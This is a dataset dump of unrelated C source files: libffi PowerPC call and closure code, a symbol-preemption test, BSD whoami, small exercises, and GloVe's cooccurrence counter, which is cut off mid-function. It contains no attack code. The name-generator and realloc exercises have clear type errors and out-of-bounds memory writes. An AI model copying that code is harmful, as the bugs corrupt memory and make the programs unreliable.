intarg_count++;
break;
case FFI_TYPE_VOID:
flags |= FLAG_RETURNS_NOTHING;
break;
default:
/* Returns 32-bit integer, or similar. Nothing to do here. */
break;
}
/* The first NUM_GPR_ARG_REGISTERS words of integer arguments, and the
first NUM_FPR_ARG_REGISTERS fp arguments, go in registers; the rest
goes on the stack. Structures are passed as a pointer to a copy of
the structure. Stuff on the stack needs to keep proper alignment. */
for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++)
{
switch ((*ptr)->type)
{
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
fparg_count++;
/* If this FP arg is going on the stack, it must be
8-byte-aligned. */
if (fparg_count > NUM_FPR_ARG_REGISTERS
&& intarg_count%2 != 0)
intarg_count++;
break;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
fparg_count += 2;
/* If this FP arg is going on the stack, it must be
8-byte-aligned. */
if (fparg_count > NUM_FPR_ARG_REGISTERS
&& intarg_count%2 != 0)
intarg_count++;
intarg_count +=2;
break;
#endif
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
/* 'long long' arguments are passed as two words, but
either both words must fit in registers or both go
on the stack. If they go on the stack, they must
be 8-byte-aligned. */
if (intarg_count == NUM_GPR_ARG_REGISTERS-1
|| (intarg_count >= NUM_GPR_ARG_REGISTERS && intarg_count%2 != 0))
intarg_count++;
intarg_count += 2;
break;
case FFI_TYPE_STRUCT:
size_al = (*ptr)->size;
/* If the first member of the struct is a double, then align
the struct to double-word.
Type 3 is defined in include/ffi.h. #define FFI_TYPE_DOUBLE 3. */
if ((*ptr)->elements[0]->type == 3)
size_al = ALIGN((*ptr)->size, 8);
intarg_count += (size_al + 3) / 4;
break;
default:
/* Everything else is passed as a 4-byte word in a GPR, either
the object itself or a pointer to it. */
intarg_count++;
break;
}
}
if (fparg_count != 0)
flags |= FLAG_FP_ARGUMENTS;
/* Space for the FPR registers, if needed. */
if (fparg_count != 0)
bytes += NUM_FPR_ARG_REGISTERS * sizeof(double);
/* Stack space. */
if ((intarg_count + 2 * fparg_count) > NUM_GPR_ARG_REGISTERS)
bytes += (intarg_count + 2 * fparg_count) * sizeof(long);
else
bytes += NUM_GPR_ARG_REGISTERS * sizeof(long);
/* The stack space allocated needs to be a multiple of 16 bytes. */
bytes = (bytes + 15) & ~0xF;
cif->flags = flags;
cif->bytes = bytes;
return FFI_OK;
}
/*@-declundef@*/
/*@-exportheader@*/
extern void ffi_call_AIX(/*@out@*/ extended_cif *,
unsigned, unsigned,
/*@out@*/ unsigned *,
void (*fn)(void),
void (*fn2)(extended_cif *, unsigned *const));
extern void ffi_call_DARWIN(/*@out@*/ extended_cif *,
unsigned, unsigned,
/*@out@*/ unsigned *,
void (*fn)(void),
void (*fn2)(extended_cif *, unsigned *const));
/*@=declundef@*/
/*@=exportheader@*/
void ffi_call(/*@dependent@*/ ffi_cif *cif,
void (*fn)(void),
/*@out@*/ void *rvalue,
/*@dependent@*/ void **avalue)
{
extended_cif ecif;
ecif.cif = cif;
ecif.avalue = avalue;
/* If the return value is a struct and we don't have a return
value address then we need to make one. */
if ((rvalue == NULL) &&
(cif->rtype->type == FFI_TYPE_STRUCT))
{
/*@-sysunrecog@*/
ecif.rvalue = alloca(cif->rtype->size);
/*@=sysunrecog@*/
}
else
ecif.rvalue = rvalue;
switch (cif->abi)
{
case FFI_AIX:
/*@-usedef@*/
ffi_call_AIX(&ecif, -cif->bytes,
cif->flags, ecif.rvalue, fn, ffi_prep_args);
/*@=usedef@*/
break;
case FFI_DARWIN:
/*@-usedef@*/
ffi_call_DARWIN(&ecif, -cif->bytes,
cif->flags, ecif.rvalue, fn, ffi_prep_args);
/*@=usedef@*/
break;
default:
FFI_ASSERT(0);
break;
}
}
static void flush_icache(char *);
static void flush_range(char *, int);
/* The layout of a function descriptor. A C function pointer really
points to one of these. */
typedef struct aix_fd_struct {
void *code_pointer;
void *toc;
} aix_fd;
/* here I'd like to add the stack frame layout we use in darwin_closure.S
and aix_clsoure.S
SP previous -> +---------------------------------------+ <--- child frame
| back chain to caller 4 |
+---------------------------------------+ 4
| saved CR 4 |
+---------------------------------------+ 8
| saved LR 4 |
+---------------------------------------+ 12
| reserved for compilers 4 |
+---------------------------------------+ 16
| reserved for binders 4 |
+---------------------------------------+ 20
| saved TOC pointer 4 |
+---------------------------------------+ 24
| always reserved 8*4=32 (previous GPRs)|
| according to the linkage convention |
| from AIX |
+---------------------------------------+ 56
| our FPR area 13*8=104 |
| f1 |
| . |
| f13 |
+---------------------------------------+ 160
| result area 8 |
+---------------------------------------+ 168
| alignement to the next multiple of 16 |
SP current --> +---------------------------------------+ 176 <- parent frame
| back chain to caller 4 |
+---------------------------------------+ 180
| saved CR 4 |
+---------------------------------------+ 184
| saved LR 4 |
+---------------------------------------+ 188
| reserved for compilers 4 |
+---------------------------------------+ 192
| reserved for binders 4 |
+---------------------------------------+ 196
| saved TOC pointer 4 |
+---------------------------------------+ 200
| always reserved 8*4=32 we store our |
| GPRs here |
| r3 |
| . |
| r10 |
+---------------------------------------+ 232
| overflow part |
+---------------------------------------+ xxx
| ???? |
+---------------------------------------+ xxx
*/
ffi_status
ffi_prep_closure (ffi_closure* closure,
ffi_cif* cif,
void (*fun)(ffi_cif*, void*, void**, void*),
void *user_data)
{
unsigned int *tramp;
struct ffi_aix_trampoline_struct *tramp_aix;
aix_fd *fd;
switch (cif->abi)
{
case FFI_DARWIN:
FFI_ASSERT (cif->abi == FFI_DARWIN);
tramp = (unsigned int *) &closure->tramp[0];
tramp[0] = 0x7c0802a6; /* mflr r0 */
tramp[1] = 0x429f000d; /* bcl- 20,4*cr7+so,0x10 */
tramp[4] = 0x7d6802a6; /* mflr r11 */
tramp[5] = 0x818b0000; /* lwz r12,0(r11) function address */
tramp[6] = 0x7c0803a6; /* mtlr r0 */
tramp[7] = 0x7d8903a6; /* mtctr r12 */
tramp[8] = 0x816b0004; /* lwz r11,4(r11) static chain */
tramp[9] = 0x4e800420; /* bctr */
tramp[2] = (unsigned long) ffi_closure_ASM; /* function */
tramp[3] = (unsigned long) closure; /* context */
closure->cif = cif;
closure->fun = fun;
closure->user_data = user_data;
/* Flush the icache. Only necessary on Darwin. */
flush_range(&closure->tramp[0],FFI_TRAMPOLINE_SIZE);
break;
case FFI_AIX:
tramp_aix = (struct ffi_aix_trampoline_struct *) (closure->tramp);
fd = (aix_fd *)(void *)ffi_closure_ASM;
FFI_ASSERT (cif->abi == FFI_AIX);
tramp_aix->code_pointer = fd->code_pointer;
tramp_aix->toc = fd->toc;
tramp_aix->static_chain = closure;
closure->cif = cif;
closure->fun = fun;
closure->user_data = user_data;
default:
FFI_ASSERT(0);
break;
}
return FFI_OK;
}
static void
flush_icache(char *addr)
{
#ifndef _AIX
__asm__ volatile (
"dcbf 0,%0\n"
"\tsync\n"
"\ticbi 0,%0\n"
"\tsync\n"
"\tisync"
: : "r"(addr) : "memory");
#endif
}
static void
flush_range(char * addr1, int size)
{
#define MIN_LINE_SIZE 32
int i;
for (i = 0; i < size; i += MIN_LINE_SIZE)
flush_icache(addr1+i);
flush_icache(addr1+size-1);
}
typedef union
{
float f;
double d;
} ffi_dblfl;
int ffi_closure_helper_DARWIN (ffi_closure*, void*,
unsigned long*, ffi_dblfl*);
/* Basically the trampoline invokes ffi_closure_ASM, and on
entry, r11 holds the address of the closure.
After storing the registers that could possibly contain
parameters to be passed into the stack frame and setting
up space for a return value, ffi_closure_ASM invokes the
following helper function to do most of the work. */
int ffi_closure_helper_DARWIN (ffi_closure* closure, void * rvalue,
unsigned long * pgr, ffi_dblfl * pfr)
{
/* rvalue is the pointer to space for return value in closure assembly
pgr is the pointer to where r3-r10 are stored in ffi_closure_ASM
pfr is the pointer to where f1-f13 are stored in ffi_closure_ASM. */
typedef double ldbits[2];
union ldu
{
ldbits lb;
long double ld;
};
void ** avalue;
ffi_type ** arg_types;
long i, avn;
long nf; /* number of floating registers already used. */
long ng; /* number of general registers already used. */
ffi_cif * cif;
double temp;
unsigned size_al;
union ldu temp_ld;
cif = closure->cif;
avalue = alloca(cif->nargs * sizeof(void *));
nf = 0;
ng = 0;
/* Copy the caller's structure return value address so that the closure
returns the data directly to the caller. */
if (cif->rtype->type == FFI_TYPE_STRUCT)
{
rvalue = (void *) *pgr;
pgr++;
ng++;
}
i = 0;
avn = cif->nargs;
arg_types = cif->arg_types;
/* Grab the addresses of the arguments from the stack frame. */
while (i < avn)
{
switch (arg_types[i]->type)
{
case FFI_TYPE_SINT8:
case FFI_TYPE_UINT8:
avalue[i] = (char *) pgr + 3;
ng++;
pgr++;
break;
case FFI_TYPE_SINT16:
case FFI_TYPE_UINT16:
avalue[i] = (char *) pgr + 2;
ng++;
pgr++;
break;
case FFI_TYPE_SINT32:
case FFI_TYPE_UINT32:
case FFI_TYPE_POINTER:
avalue[i] = pgr;
ng++;
pgr++;
break;
case FFI_TYPE_STRUCT:
/* Structures that match the basic modes (QI 1 byte, HI 2 bytes,
SI 4 bytes) are aligned as if they were those modes. */
size_al = arg_types[i]->size;
/* If the first member of the struct is a double, then align
the struct to double-word.
Type 3 is defined in include/ffi.h. #define FFI_TYPE_DOUBLE 3. */
if (arg_types[i]->elements[0]->type == 3)
size_al = ALIGN(arg_types[i]->size, 8);
if (size_al < 3 && cif->abi == FFI_DARWIN)
avalue[i] = (void*) pgr + 4 - size_al;
else
avalue[i] = (void*) pgr;
ng += (size_al + 3) / 4;
pgr += (size_al + 3) / 4;
break;
case FFI_TYPE_SINT64:
case FFI_TYPE_UINT64:
/* Long long ints are passed in two gpr's. */
avalue[i] = pgr;
ng += 2;
pgr += 2;
break;
case FFI_TYPE_FLOAT:
/* A float value consumes a GPR.
There are 13 64bit floating point registers. */
if (nf < NUM_FPR_ARG_REGISTERS)
{
temp = pfr->d;
pfr->f = (float)temp;
avalue[i] = pfr;
pfr++;
}
else
{
avalue[i] = pgr;
}
nf++;
ng++;
pgr++;
break;
case FFI_TYPE_DOUBLE:
/* A double value consumes two GPRs.
There are 13 64bit floating point registers. */
if (nf < NUM_FPR_ARG_REGISTERS)
{
avalue[i] = pfr;
pfr++;
}
else
{
avalue[i] = pgr;
}
nf++;
ng += 2;
pgr += 2;
break;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
/* A long double value consumes four GPRs and two FPRs.
There are 13 64bit floating point registers. */
if (nf < NUM_FPR_ARG_REGISTERS - 1)
{
avalue[i] = pfr;
pfr += 2;
}
/* Here we have the situation where one part of the long double
is stored in fpr13 and the other part is already on the stack.
We use a union to pass the long double to avalue[i]. */
else if (nf == NUM_FPR_ARG_REGISTERS - 1)
{
memcpy (&temp_ld.lb[0], pfr, sizeof(ldbits));
memcpy (&temp_ld.lb[1], pgr + 2, sizeof(ldbits));
avalue[i] = &temp_ld.ld;
}
else
{
avalue[i] = pgr;
}
nf += 2;
ng += 4;
pgr += 4;
break;
#endif
default:
FFI_ASSERT(0);
}
i++;
}
(closure->fun) (cif, rvalue, avalue, closure->user_data);
/* Tell ffi_closure_ASM to perform return type promotions. */
return cif->rtype->type;
}
#endif /* __ppc__ */
|
the_stack_data/94471.c
|
#include<stdio.h>
#include<stdlib.h>
int dynamic_function(int a);
int global_variable = 4;
int main(int argc, char *argv[]) {
printf("M: global variable: %d\n", global_variable);
if(global_variable != 4) {
printf("M: unexpected value for global_variable. did it get overridden by libdynamic_preemption?\n");
exit(45);
}
printf("M: calling dynamic_function...\n");
int ret = dynamic_function(9);
printf("M: dynamic_function returns: %d (should return 13)\n", ret);
printf("M: global variable: %d\n", global_variable);
if(global_variable != 6) {
printf("M: unexpected value for global_variable. did dynamic_function not update it?\n");
exit(46);
}
return ret != 13;
}
|
the_stack_data/68889175.c
|
/*
* Copyright (c) 1988 Regents of the University of California.
* All rights reserved.
*
* %sccs.include.redist.c%
*/
#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1988 Regents of the University of California.\n\
All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)whoami.c 5.5 (Berkeley) 03/02/91";
#endif /* not lint */
#include <sys/types.h>
#include <pwd.h>
main()
{
struct passwd *p;
uid_t uid;
uid = geteuid();
if (!(p = getpwuid(uid))) {
printf("whoami: no login associated with uid %u.\n", uid);
exit(1);
}
printf("%s\n", p->pw_name);
exit(0);
}
|
the_stack_data/26700112.c
|
#include <stdio.h>
unsigned int a,b,mask=0x0000ff00;
int main(void){
a=0x12345678;
b=(a&mask)>>8;
printf("%d",b);
}
|
the_stack_data/165769156.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct
{
char *letter;
char *chars[16];
} speakableChars;
speakableChars *linearSearch(speakableChars *items, size_t size, const char *letter)
{
for (size_t i = 0; i < size; i++)
{
if (strcmp(&items[i].letter, &letter) == 0)
{
return &items[i];
}
}
}
int randomNumber(int min_num, int max_num)
{
int result = (rand() % (max_num + 1 - min_num)) + min_num;
return result;
}
speakableChars speakable[] = {
{'a', {'b', 'd', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'p', 'r', 's', 't', 'u'}},
{'b', {'a', 'e', 'i', 'l', 'o', 'r', 'u'}},
{'c', {'h'}},
{'d', {'a', 'e', 'i', 'l', 'o', 'r', 'u'}},
{'e', {'f', 'i', 'j', 'k', 'm', 'n', 'p', 'r', 's', 't', 'u'}},
{'f', {'a', 'e', 'i', 'l', 'o', 'r', 'u'}},
{'g', {'a', 'e', 'i', 'l', 'o', 'u'}},
{'h', {'a', 'e', 'i', 'o', 'u'}},
{'i', {'b', 'f', 'k', 'l', 'm', 'n', 'p', 'r', 'h', 's', 't'}},
{'j', {'a', 'e', 'i', 'o', 'u'}},
{'k', {'a', 'e', 'i', 'l', 'o', 'u'}},
{'l', {'a', 'e', 'i', 'o', 'u'}},
{'m', {'a', 'e', 'i', 'l', 'o', 'u'}},
{'n', {'a', 'e', 'i', 'o', 'u'}},
{'o', {'b', 'c', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'p', 'r', 's', 't'}},
{'p', {'a', 'e', 'i', 'l', 'o', 'r', 'u'}},
{'r', {'a', 'e', 'i', 'o', 'u'}},
{'s', {'a', 'e', 'c', 'i', 'o', 'u', 't'}},
{'t', {'a', 'e', 'i', 'o', 'u'}},
{'u', {'b', 'g', 'i', 'k', 'n', 'm', 'p', 'r', 's', 't'}},
};
char starts[19] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'r', 'p', 's', 't', 'u'};
char *generate()
{
srand(time(NULL));
char *name = (char *)malloc(128 * sizeof(char));
int minLength = 5;
int maxLength = 10;
int length = randomNumber(4, 9);
int startingCharIndex = randomNumber(0, 18);
name[0] = starts[startingCharIndex];
size_t size = sizeof(speakable) / sizeof(speakableChars);
speakableChars *found;
for (int i = 0; i < length; i++)
{
found = linearSearch(speakable, size, name[i]);
name[i + 1] = found->chars[randomNumber(0, strlen(found->chars))];
}
name[length + 1] = '\0';
return name;
}
|
the_stack_data/67324568.c
|
long int i_nint(x)
float *x;
{
return( (*x)>=0 ?
(long int) (*x + .5) : (long int) (*x - .5) );
}
|
the_stack_data/145104.c
|
#include<stdio.h>
#include<stdlib.h>
int main(){
int *ptr, i;
ptr= (int *)malloc(2 * sizeof(ptr));
if (!ptr){printf("ERRO, sem espaço de memoria!\n"); exit(1);}
printf("Digite tres numeros: \n");
for(i=0; i<3; i++)
{
scanf("%d", ptr+i);
}
//Aumentando um espaço no vetor
ptr = (int *) realloc(ptr, sizeof(int));
if(!ptr){printf("--ERRO sem espaço na memoria---"); exit(1);}
printf("Digite mais um numero:\n");
scanf("%d", (ptr+3));
//Imprimindo o vetor
printf("Os numeros guardados no vetor sao:\n");
for ( i = 0; i < 4; i++)
{
printf("%d\n", *ptr);
ptr++;
}
//Liberando a memoria alocada
free(ptr);
}
|
the_stack_data/930867.c
|
// Tool to calculate word-word cooccurrence statistics
//
// Copyright (c) 2014, 2018 The Board of Trustees of
// The Leland Stanford Junior University. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//
// For more information, bug reports, fixes, contact:
// Jeffrey Pennington ([email protected])
// Christopher Manning ([email protected])
// https://github.com/stanfordnlp/GloVe/
// [email protected]
// http://nlp.stanford.edu/projects/glove/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#define MAX_STRING_LENGTH 1000
#define TSIZE 1048576
#define SEED 1159241
#define HASHFN bitwisehash
typedef double real;
typedef struct cooccur_rec {
int word1;
int word2;
real val;
} CREC;
typedef struct cooccur_rec_id {
int word1;
int word2;
real val;
int id;
} CRECID;
typedef struct hashrec {
char *word;
long long id;
struct hashrec *next;
} HASHREC;
int verbose = 2; // 0, 1, or 2
long long max_product; // Cutoff for product of word frequency ranks below which cooccurrence counts will be stored in a compressed full array
long long overflow_length; // Number of cooccurrence records whose product exceeds max_product to store in memory before writing to disk
int window_size = 15; // default context window size
int symmetric = 1; // 0: asymmetric, 1: symmetric
real memory_limit = 3; // soft limit, in gigabytes, used to estimate optimal array sizes
int distance_weighting = 1; // Flag to control the distance weighting of cooccurrence counts
char *vocab_file, *file_head;
/* Efficient string comparison */
int scmp( char *s1, char *s2 ) {
while (*s1 != '\0' && *s1 == *s2) {s1++; s2++;}
return(*s1 - *s2);
}
/* Move-to-front hashing and hash function from Hugh Williams, http://www.seg.rmit.edu.au/code/zwh-ipl/ */
/* Simple bitwise hash function */
unsigned int bitwisehash(char *word, int tsize, unsigned int seed) {
char c;
unsigned int h;
h = seed;
for (; (c =* word) != '\0'; word++) h ^= ((h << 5) + c + (h >> 2));
return((unsigned int)((h&0x7fffffff) % tsize));
}
/* Create hash table, initialise pointers to NULL */
HASHREC ** inithashtable() {
int i;
HASHREC **ht;
ht = (HASHREC **) malloc( sizeof(HASHREC *) * TSIZE );
for (i = 0; i < TSIZE; i++) ht[i] = (HASHREC *) NULL;
return(ht);
}
/* Search hash table for given string, return record if found, else NULL */
HASHREC *hashsearch(HASHREC **ht, char *w) {
HASHREC *htmp, *hprv;
unsigned int hval = HASHFN(w, TSIZE, SEED);
for (hprv = NULL, htmp=ht[hval]; htmp != NULL && scmp(htmp->word, w) != 0; hprv = htmp, htmp = htmp->next);
if ( htmp != NULL && hprv!=NULL ) { // move to front on access
hprv->next = htmp->next;
htmp->next = ht[hval];
ht[hval] = htmp;
}
return(htmp);
}
/* Insert string in hash table, check for duplicates which should be absent */
void hashinsert(HASHREC **ht, char *w, long long id) {
HASHREC *htmp, *hprv;
unsigned int hval = HASHFN(w, TSIZE, SEED);
for (hprv = NULL, htmp = ht[hval]; htmp != NULL && scmp(htmp->word, w) != 0; hprv = htmp, htmp = htmp->next);
if (htmp == NULL) {
htmp = (HASHREC *) malloc(sizeof(HASHREC));
htmp->word = (char *) malloc(strlen(w) + 1);
strcpy(htmp->word, w);
htmp->id = id;
htmp->next = NULL;
if (hprv == NULL) ht[hval] = htmp;
else hprv->next = htmp;
}
else fprintf(stderr, "Error, duplicate entry located: %s.\n",htmp->word);
return;
}
/* Read word from input stream. Return 1 when encounter '\n' or EOF (but separate from word), 0 otherwise.
Words can be separated by space(s), tab(s), or newline(s). Carriage return characters are just ignored.
(Okay for Windows, but not for Mac OS 9-. Ignored even if by themselves or in words.)
A newline is taken as indicating a new document (contexts won't cross newline).
Argument word array is assumed to be of size MAX_STRING_LENGTH.
words will be truncated if too long. They are truncated with some care so that they
cannot truncate in the middle of a utf-8 character, but
still little to no harm will be done for other encodings like iso-8859-1.
(This function appears identically copied in vocab_count.c and cooccur.c.)
*/
int get_word(char *word, FILE *fin) {
int i = 0, ch;
for ( ; ; ) {
ch = fgetc(fin);
if (ch == '\r') continue;
if (i == 0 && ((ch == '\n') || (ch == EOF))) {
word[i] = 0;
return 1;
}
if (i == 0 && ((ch == ' ') || (ch == '\t'))) continue; // skip leading space
if ((ch == EOF) || (ch == ' ') || (ch == '\t') || (ch == '\n')) {
if (ch == '\n') ungetc(ch, fin); // return the newline next time as document ender
break;
}
if (i < MAX_STRING_LENGTH - 1)
word[i++] = ch; // don't allow words to exceed MAX_STRING_LENGTH
}
word[i] = 0; //null terminate
// avoid truncation destroying a multibyte UTF-8 char except if only thing on line (so the i > x tests won't overwrite word[0])
// see https://en.wikipedia.org/wiki/UTF-8#Description
if (i == MAX_STRING_LENGTH - 1 && (word[i-1] & 0x80) == 0x80) {
if ((word[i-1] & 0xC0) == 0xC0) {
word[i-1] = '\0';
} else if (i > 2 && (word[i-2] & 0xE0) == 0xE0) {
word[i-2] = '\0';
} else if (i > 3 && (word[i-3] & 0xF8) == 0xF0) {
word[i-3] = '\0';
}
}
return 0;
}
/* Write sorted chunk of cooccurrence records to file, accumulating duplicate entries */
int write_chunk(CREC *cr, long long length, FILE *fout) {
if (length == 0) return 0;
long long a = 0;
CREC old = cr[a];
for (a = 1; a < length; a++) {
if (cr[a].word1 == old.word1 && cr[a].word2 == old.word2) {
old.val += cr[a].val;
continue;
}
fwrite(&old, sizeof(CREC), 1, fout);
old = cr[a];
}
fwrite(&old, sizeof(CREC), 1, fout);
return 0;
}
/* Check if two cooccurrence records are for the same two words, used for qsort */
int compare_crec(const void *a, const void *b) {
int c;
if ( (c = ((CREC *) a)->word1 - ((CREC *) b)->word1) != 0) return c;
else return (((CREC *) a)->word2 - ((CREC *) b)->word2);
}
/* Check if two cooccurrence records are for the same two words */
int compare_crecid(CRECID a, CRECID b) {
int c;
if ( (c = a.word1 - b.word1) != 0) return c;
else return a.word2 - b.word2;
}
/* Swap two entries of priority queue */
void swap_entry(CRECID *pq, int i, int j) {
CRECID temp = pq[i];
pq[i] = pq[j];
pq[j] = temp;
}
/* Insert entry into priority queue */
void insert(CRECID *pq, CRECID new, int size) {
int j = size - 1, p;
pq[j] = new;
while ( (p=(j-1)/2) >= 0 ) {
if (compare_crecid(pq[p],pq[j]) > 0) {swap_entry(pq,p,j); j = p;}
else break;
}
}
/* Delete entry from priority queue */
void delete(CRECID *pq, int size) {
int j, p = 0;
pq[p] = pq[size - 1];
while ( (j = 2*p+1) < size - 1 ) {
if (j == size - 2) {
if (compare_crecid(pq[p],pq[j]) > 0) swap_entry(pq,p,j);
return;
}
else {
if (compare_crecid(pq[j], pq[j+1]) < 0) {
if (compare_crecid(pq[p],pq[j]) > 0) {swap_entry(pq,p,j); p = j;}
else return;
}
else {
if (compare_crecid(pq[p],pq[j+1]) > 0) {swap_entry(pq,p,j+1); p = j + 1;}
else return;
}
}
}
}
/* Write top node of priority queue to file, accumulating duplicate entries */
int merge_write(CRECID new, CRECID *old, FILE *fout) {
if (new.word1 == old->word1 && new.word2 == old->word2) {
old->val += new.val;
return 0; // Indicates duplicate entry
}
fwrite(old, sizeof(CREC), 1, fout);
*old = new;
return 1; // Actually wrote to file
}
/* Merge [num] sorted files of cooccurrence records */
int merge_files(int num) {
int i, size;
long long counter = 0;
CRECID *pq, new, old;
char filename[200];
FILE **fid, *fout;
fid = malloc(sizeof(FILE) * num);
pq = malloc(sizeof(CRECID) * num);
fout = stdout;
if (verbose > 1) fprintf(stderr, "Merging cooccurrence files: processed 0 lines.");
/* Open all files and add first entry of each to priority queue */
for (i = 0; i < num; i++) {
sprintf(filename,"%s_%04d.bin",file_head,i);
fid[i] = fopen(filename,"rb");
if (fid[i] == NULL) {fprintf(stderr, "Unable to open file %s.\n",filename); return 1;}
fread(&new, sizeof(CREC), 1, fid[i]);
new.id = i;
insert(pq,new,i+1);
}
/* Pop top node, save it in old to see if the next entry is a duplicate */
size = num;
old = pq[0];
i = pq[0].id;
delete(pq, size);
fread(&new, sizeof(CREC), 1, fid[i]);
if (feof(fid[i])) size--;
else {
new.id = i;
insert(pq, new, size);
}
/* Repeatedly pop top node and fill priority queue until files have reached EOF */
while (size > 0) {
counter += merge_write(pq[0], &old, fout); // Only count the lines written to file, not duplicates
if ((counter%100000) == 0) if (verbose > 1) fprintf(stderr,"\033[39G%lld lines.",counter);
i = pq[0].id;
delete(pq, size);
fread(&new, sizeof(CREC), 1, fid[i]);
if (feof(fid[i])) size--;
else {
new.id = i;
insert(pq, new, size);
}
}
fwrite(&old, sizeof(CREC), 1, fout);
fprintf(stderr,"\033[0GMerging cooccurrence files: processed %lld lines.\n",++counter);
for (i=0;i<num;i++) {
sprintf(filename,"%s_%04d.bin",file_head,i);
remove(filename);
}
fprintf(stderr,"\n");
return 0;
}
/* Collect word-word cooccurrence counts from input stream */
int get_cooccurrence() {
int flag, x, y, fidcounter = 1;
long long a, j = 0, k, id, counter = 0, ind = 0, vocab_size, w1, w2, *lookup, *history;
char format[20], filename[200], str[MAX_STRING_LENGTH + 1];
FILE *fid, *foverflow;
real *bigram_table, r;
HASHREC *htmp, **vocab_hash = inithashtable();
CREC *cr = malloc(sizeof(CREC) * (overflow_length + 1));
history = malloc(sizeof(long long) * window_size);
fprintf(stderr, "COUNTING COOCCURRENCES\n");
if (verbose > 0) {
fprintf(stderr, "window size: %d\n", window_size);
if (symmetric == 0) fprintf(stderr, "context: asymmetric\n");
else fprintf(stderr, "context: symmetric\n");
}
if (verbose > 1) fprintf(stderr, "max product: %lld\n", max_product);
if (verbose > 1) fprintf(stderr, "overflow length: %lld\n", overflow_length);
sprintf(format,"%%%ds %%lld", MAX_STRING_LENGTH); // Format to read from vocab file, which has (irrelevant) frequency data
if (verbose > 1) fprintf(stderr, "Reading vocab from file \"%s\"...", vocab_file);
fid = fopen(vocab_file,"r");
if (fid == NULL) {fprintf(stderr,"Unable to open vocab file %s.\n",vocab_file); return 1;}
while (fscanf(fid, format, str, &id) != EOF) hashinsert(vocab_hash, str, ++j); // Here id is not used: inserting vocab words into hash table with their frequency rank, j
fclose(fid);
vocab_size = j;
j = 0;
if (verbose > 1) fprintf(stderr, "loaded %lld words.\nBuilding lookup table...", vocab_size);
/* Build auxiliary lookup table used to index into bigram_table */
lookup = (long long *)calloc( vocab_size + 1, sizeof(long long) );
if (lookup == NULL) {
fprintf(stderr, "Couldn't allocate memory!");
return 1;
}
lookup[0] = 1;
for (a = 1; a <= vocab_size; a++) {
if ((lookup[a] = max_product / a) < vocab_size) lookup[a] += lookup[a-1];
else lookup[a] = lookup[a-1] + vocab_size;
}
if (verbose > 1) fprintf(stderr, "table contains %lld elements.\n",lookup[a-1]);
/* Allocate memory for full array which will store all cooccurrence counts for words whose product of frequency ranks is less than max_product */
bigram_table = (real *)calloc( lookup[a-1] , sizeof(real) );
if (bigram_table == NULL) {
fprintf(stderr, "Couldn't allocate memory!");
return 1;
}
fid = stdin;
// sprintf(format,"%%%ds",MAX_STRING_LENGTH);
sprintf(filename,"%s_%04d.bin", file_head, fidcounter);
foverflow = fopen(filename,"wb");
if (verbose > 1) fprintf(stderr,"Processing token: 0");
/* For each token in input stream, calculate a weighted cooccurrence sum within window_size */
while (1) {
if (ind >= overflow_length - window_size) { // If overflow buffer is (almost) full, sort it and write it to temporary file
qsort(cr, ind, sizeof(CREC), compare_crec);
write_chunk(cr,ind,foverflow);
fclose(foverflow);
fidcounter++;
sprintf(filename,"%s_%04d.bin",file_head,fidcounter);
foverflow = fopen(filename,"wb");
ind = 0;
}
flag = get_word(str, fid);
if (verbose > 2) fprintf(stderr, "Maybe processing token: %s\n", str);
if (flag == 1) {
// Newline, reset line index (j); maybe eof.
if (feof(fid)) {
if (verbose > 2) fprintf(stderr, "Not getting coocurs as at eof\n");
break;
}
j = 0;
if (verbose > 2) fprintf(stderr, "Not getting coocurs as at newline\n");
continue;
}
counter++;
if ((counter%100000) == 0) if (verbose > 1) fprintf(stderr,"\033[19G%lld",counter);
htmp = hashsearch(vocab_hash, str);
if (htmp == NULL) {
if (verbose > 2) fprintf(stderr, "Not getting coocurs as word not in vocab\n");
continue; // Skip out-of-vocabulary words
}
w2 = htmp->id; // Target word (frequency rank)
for (k = j - 1; k >= ( (j > window_size) ? j - window_size : 0 ); k--) { // Iterate over all words to the left of target word, but not past beginning of line
w1 = history[k % window_size]; // Context word (frequency rank)
if (verbose > 2) fprintf(stderr, "Adding cooccur between words %lld and %lld.\n", w1, w2);
if ( w1 < max_product/w2 ) { // Product is small enough to store in a full array
bigram_table[lookup[w1-1] + w2 - 2] += distance_weighting ? 1.0/((real)(j-k)) : 1.0; // Weight by inverse of distance between words if needed
if (symmetric > 0) bigram_table[lookup[w2-1] + w1 - 2] += distance_weighting ? 1.0/((real)(j-k)) : 1.0; // If symmetric context is used, exchange roles of w2 and w1 (ie look at right context too)
}
else { // Product is too big, data is likely to be sparse. Store these entries in a temporary buffer to be sorted, merged (accumulated), and written to file when it gets full.
cr[ind].word1 = w1;
cr[ind].word2 = w2;
cr[ind].val = distance_weighting ? 1.0/((real)(j-k)) : 1.0;
ind++; // Keep track of how full temporary buffer is
if (symmetric > 0) { // Symmetric context
cr[ind].word1 = w2;
cr[ind].word2 = w1;
cr[ind].val = distance_weighting ? 1.0/((real)(j-k)) : 1.0;
ind++;
}
}
}
history[j % window_size] = w2; // Target word is stored in circular buffer to become context word in the future
j++;
}
/* Write out temp buffer for the final time (it may not be full) */
if (verbose > 1) fprintf(stderr,"\033[0GProcessed %lld tokens.\n",counter);
qsort(cr, ind, sizeof(CREC), compare_crec);
